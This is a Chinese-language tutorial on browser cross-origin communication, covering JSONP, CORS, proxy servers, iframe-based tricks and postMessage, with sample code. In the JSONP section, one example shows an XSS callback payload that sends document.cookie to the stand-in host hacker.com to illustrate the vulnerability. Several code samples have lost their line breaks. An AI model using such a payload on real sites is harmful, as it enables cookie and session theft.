一、什么是跨域
1. 同源策略及其限制内容
概念
同源策略是一种约定,它是浏览器最核心也最基本的安全功能。如果缺少了同源策略,浏览器很容易受到 XSS、CSRF等攻击。
所谓 同源 是指 协议+域名+端口 三者相同,即便两个不同的域名指向同一个 ip 地址,也非同源。
限制内容
- Cookie、LocalStorage、IndexedDB 等存储性内容
- DOM 节点
- AJAX 请求发送后,结果被浏览器拦截了
允许跨域加载资源的标签或属性: script、link、img、video、audio、frame、iframe、embed 等有 src 属性的标签,以及 object(data属性)、applet(code属性)
css 中的 @font-face
2. 跨域
概念
跨域 指的是协议(protocal)、域名(host)和端口号(post)三者之间任意一个不相同的资源之间尝试着进行交互通信,但由于受浏览器同源策略的限制,无法正常进行交互通信。
使用 AJAX 请求第三方不同域下的资源时就经常会发生跨域,如果不处理便不能成功发送请求,且会收到这样的错误警告
严格来说,浏览器并不是拒绝所有的跨域请求,实际上拒绝的是跨域的读操作。
同源策略控制了不同源之间的交互,这些交互通常分为三类:
- ✅ 通常浏览器允许进行跨域 写操作(Cross-origin writes),如链接、重定向以及表单提交
- ✅ 通常浏览器允许跨域 资源嵌入(Cross-origin embedding),如 img、script 标签
- ❌ 通常浏览器不允许跨域 读操作(Cross-origin reads),但常可以通过内嵌资源来巧妙地进行读取访问。例如可以读取嵌套图片的高度和宽度,调用内嵌脚本的方法
为什么要实现跨域请求? 工程服务化后,不同职责的服务分散在不同的工程中,往往这些工程的域名是不同的,但一个需求可能对应到多个服务,这时便需要调用不同服务的接口,因此会出现跨域。 同源策略仅存在于浏览器客户端,不存在 Android、iOS、NodeJS、Python、Java 等其他环境。
⚠️ 注意:跨域请求能成功发送,服务端能接收请求并正常返回结果,只是结果被浏览器拦截了。
二、跨域解决方案
1. 前后端之间的数据通信
JSONP
由于浏览器同源策略允许 script 标签这样的跨域资源嵌套的,所以 script 标签的资源不受到同源策略的限制。
而 JSONP 正是利用这一点来进行跨域请求的:
- 前端设置好回调函数,并把回调函数当作请求
url携带的参数 - 后端接受到请求之后,返回回调函数名和需要的数据
- 后端响应并返回数据后,返回的数据传入到回调函数中并执行。
简单实例
```javascript // 服务端简单示例 const http = require(‘http’); const server = http.createServer(); const data = {};
server.on(‘request’, (req, res) => {
const { url } = req;
const reg = /(callback=)\w+/gi;
const fnArr = url.match(reg).map(a => a.replace(‘callback=’, ‘’));
let result = ‘’;
for (let i in fnArr) {
result += ${fnArr[i]}(${JSON.stringify(data)});
}
// 为了防止中文乱码问题,需要设置响应头,
res.setHeader(‘Content-Type’, ‘text/html; charset=utf-8’)
res.end(result);
})
server.listen(3000, () => console.log(‘listening on port 3000’));
```html<!-- script 标签方式:前端示例 --><!-- 通过原生使用 script 标签 --><script>function jsonpCallback(data) {console.log(data);}</script><script src="http://127.0.0.1:3000?callback=jsonpCallback"></script>
<!-- xhr 请求方式:前端示例 --><script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.js"></script><script>function jsonpCallback(data) {console.log(data);}$.ajax({type: 'GET', // 必须是 GET 请求 !!!!!!!!!!!!!!url: 'http://127.0.0.1:3000',dataType: 'jsonp', // 设置为 jsonp 类型 !!!!!!!!!!!!!!jsonpCallback: 'jsonpCallback' // 设置回调函数})</script>
手写 JSONP 前端请求方法
const jsonp = ({url,params,callbackName}) => {const generateUrl = () => {url += "?"for (let i in params) {url += `${i}=${params[i]}&`}url += `callback=${callbackName}`return url}return new Promise((resolve, reject) => {const scriptEle = document.createElement('script');scriptEle.src = generateUrl();document.body.appendChild(scriptEle);window[callbackName] = data => {resolve(data);document.body.removeChild(scriptEle);}})}
优缺点
- 兼容性好,低版本的
IE也可以支持 - 只能支持
GET方式的HTTP请求 - 只支持前后端数据通信这样的
HTTP请求,并不能解决不同域下的页面之间的数据交互通信问题。Callback 导致的 XSS 安全漏洞
如果函数名callback不是正常的函数名,而是一个script标签如:script.src='/pay?callback=<srcript>$.get("http://hacker.com?cookie="+document.cookie)</script>'
那么当服务器返回响应的时候,后面这段恶意代码就会被执行
CORS
CORS 跨域资源共享(Cross-origin resource sharing)允许在服务端进行相关设置后,可以进行跨域通信。
服务端未设置 CORS 跨域字段,客户端会拒绝请求并提示错误警告。
服务端设置 Access-Control-Allow-Origin 字段,值可以是具体的域名或者 * 通配符,配置好后就可以允许跨域请求数据。
简单实例
// 服务端设置const http = require('http');const server = http.createServer();const data = {};server.on('request', (req, res) => {// 为了防止中文乱码问题,需要设置响应头,res.setHeader('Content-Type', 'text/html; charset=utf-8')// res.setHeader('Access-Control-Allow-Origin', '*');res.end(JSON.stringify(data));})server.listen(3000, () => console.log('listening on port 3000'));
服务器代理(Server Proxy)
通过服务器代理请求的方式也是解决浏览器跨域问题的方案。
同源策略只是针对浏览器的安全策略,服务器并不受同源策略的限制,也就不存在跨域的问题。具体步骤如下:
- 前端请求代理服务端提供的接口
- 通过代理服务器发送请求给有数据的服务器
- 得到数据后,代理服务器再将需要的数据返回给前端
即直接让后端代理发送请求。
示例一:使用 node
// index.html(http://127.0.0.1:5500)<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script><script>$.ajax({url: 'http://localhost:3000',type: 'post',data: { name: 'xiamen', password: '123456' },contentType: 'application/json;charset=utf-8',success: function(result) {console.log(result) // {"title":"fontend","password":"123456"}},error: function(msg) {console.log(msg)}})</script>
// server1.js 代理服务器 —— http://localhost:3000const http = require('http')// 第一步:接受客户端请求const server = http.createServer((request, response) => {// 代理服务器,直接和浏览器直接交互,需要设置CORS 的首部字段response.writeHead(200, {'Access-Control-Allow-Origin': '*','Access-Control-Allow-Methods': '*','Access-Control-Allow-Headers': 'Content-Type'})// 第二步:将请求转发给服务器const proxyRequest = http.request({host: '127.0.0.1',port: 4000,url: '/',method: request.method,headers: request.headers},serverResponse => {// 第三步:收到服务器的响应var body = ''serverResponse.on('data', chunk => {body += chunk})serverResponse.on('end', () => {console.log('The data is ' + body)// 第四步:将响应结果转发给浏览器response.end(body)})}).end()})server.listen(3000, () => {console.log('The proxyServer is running at http://localhost:3000')})
// server2.js —— http://localhost:4000const http = require('http')const data = { title: 'fontend', password: '123456' }const server = http.createServer((request, response) => {if (request.url === '/') {response.end(JSON.stringify(data))}})server.listen(4000, () => {console.log('The server is running at http://localhost:4000')})
示例二:使用 nginx
实现原理类似于 Node 中间件代理,需要你搭建一个中转 nginx 服务器,用于转发请求。
使用 nginx 反向代理实现跨域,是最简单的跨域方式。只需要修改 nginx 的配置即可解决跨域问题,支持所有浏览器,支持 session,不需要修改任何代码,并且不会影响服务器性能。
实现思路:通过 nginx 配置一个代理服务器(域名与 domain1 相同,端口不同)做跳板机,反向代理访问domain2 接口,并且可以顺便修改 cookie 中 domain 信息,方便当前 域 cookie 写入,实现跨域登录
2. 窗口间的数据通信
window.name + iframe
实现原理:window.name 属性的独特之处:name 值在不同的页面(甚至不同域名)加载后依旧存在,并且可以支持非常长的 name 值(2MB)
示例:a.html和b.html是同域的,都是http://localhost:3000,而c.html是http://localhost:4000
// a.html —— http://localhost:3000/a.html<iframe src="http://localhost:4000/c.html" frameborder="0" onload="load()" id="iframe"></iframe><script>let first = true, iframe = document.getElementById('iframe');// onload事件会触发2次,第1次加载跨域页,并留存数据于window.namefunction load() {if(first){// 第1次onload(跨域页)成功后,切换到同域代理页面iframe.src = 'http://localhost:3000/b.html';first = false;}else{// 第2次onload(同域b.html页)成功后,读取同域 window.name 中数据console.log(iframe.contentWindow.name); // 🤭}}</script>
b.html 为中间代理页,与 a.html 同域,内容为空
// c.html —— http://localhost:4000/c.html<script>window.name = '🤭'</script>
总结:通过 iframe 的 src 属性由外域转向本地域,跨域数据即由 iframe 的 window.name 从外域传递到本地域。
这个就巧妙地绕过了浏览器的跨域访问限制,但同时它又是安全操作
location.hash + iframe
实现原理: a.html 与 c.html 跨域相互通信,可以通过中间页 b.html 来实现。
三个页面,不同域之间利用 iframe 的 location.hash 传值,相同域之间直接 js 访问来通信

具体流程如下:
- 不同域的 a 页面与 c 页面进行通信,在 a 页面通过 iframe 嵌入 c 页面,并给 iframe 的 src 添加一个 hash 值
- b 页面接受到了 hash 值后,确定 c 页面在尝试着向自己通信,然后通过修改
parent.parent.location.hash的值,将要通信的数据传递给 a 页面的 hash - 由于 IE 和 chrome 不允许子页面直接修改父页面的 hash 值,所以需要一个代理页面 b,通过与 a 页面同域的 c 页面来传递数据
在 c 页面中通过 iframe 嵌入 b 页面,将要传递的数据通过 iframe 的 src 链接的 hash 值传递给 c 页面,由于 a 页面与 b 页面同域, b 页面可以直接修改 a 页面的 hash 值或者调用 a 页面中的全局函数。
// a.html<iframe src="http://localhost:4000/c.html#dsb"></iframe><script>window.onhashchange = function () { //检测hash的变化console.log(location.hash);}</script>
// b.html<script>window.parent.parent.location.hash = location.hash//b.html将结果放到a.html的hash值中,b.html可通过parent.parent访问a.html页面</script>
// c.htmlconsole.log(location.hash);let iframe = document.createElement('iframe');iframe.src = 'http://localhost:5500/b.html#idontloveyou';document.body.appendChild(iframe);
优缺点
hash传递的数量容量有限- 数据直接暴露在
url中document.domain + iframe
预计在 Chrome 101 版本,
document.domain变为可读属性,就是说不能用来跨域了
实现原理:两个页面都通过 js 强制设置 document.domain 为基础主域,就实现了同域。
该方式只能用于二级域名相同的情况下,比如 a.test.com 和 b.test.com 适用于该方式。 只需要给页面添加 document.domain =’test.com’ 表示二级域名都相同就可以实现跨域
示例
// a.html<body>helloa<iframe src="http://b.zf1.cn:3000/b.html" frameborder="0" onload="load()" id="frame"></iframe><script>document.domain = 'zf1.cn'function load() {console.log(frame.contentWindow.a);}</script></body>
// b.html<body>hellob<script>document.domain = 'zf1.cn'var a = 100;</script></body>
window.postMessage
postMessage 是 HTML5 XMLHttpRequest Level 2中的API,且是为数不多可以跨域操作的window 属性之一。
跨域原理:**postMessage()**方法允许来自不同源的脚本采用异步方式进行有限的通信,可以实现跨文本档、多窗口、跨域消息传递。
它可用于解决以下方面的问题:
- 页面和其打开的新窗口的数据传递
- 多窗口之间消息传递
- 页面与嵌套的 iframe 消息传递
- 上面三个场景的跨域数据传递
使用方式
otherWindow.postMessage(message, targetOrigin, [transfer]);
message:将要发送到其他 window 的数据。targetOrigin:通过窗口的 origin 属性来指定哪些窗口能接收到消息事件"*":通配符,表示任意窗口。url:在发送消息的时候,如果目标窗口的协议、主机地址或端口这三者都匹配targetOrigin消息才会被发送。
- transfer(可选) :是一串和 message 同时传递的 Transferable 对象.。
- 这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权。
使用示例
接下来我们看个例子: http://localhost:3000/a.html页面向http://localhost:4000/b.html传递hello,然后后者传回hello 你个大头
// a.html<iframe src="http://localhost:4000/b.html" frameborder="0" id="frame" onload="load()"></iframe> //等它加载完触发一个事件//内嵌在http://localhost:3000/a.html<script>function load() {let frame = document.getElementById('frame')frame.contentWindow.postMessage('hello', 'http://localhost:4000') //发送数据window.onmessage = function(e) { //接受返回数据console.log(e.data) // hello 你个大头}}</script>
// b.htmlwindow.onmessage = function(e) {console.log(e.data) // helloe.source.postMessage('hello 你个大头', e.origin)}
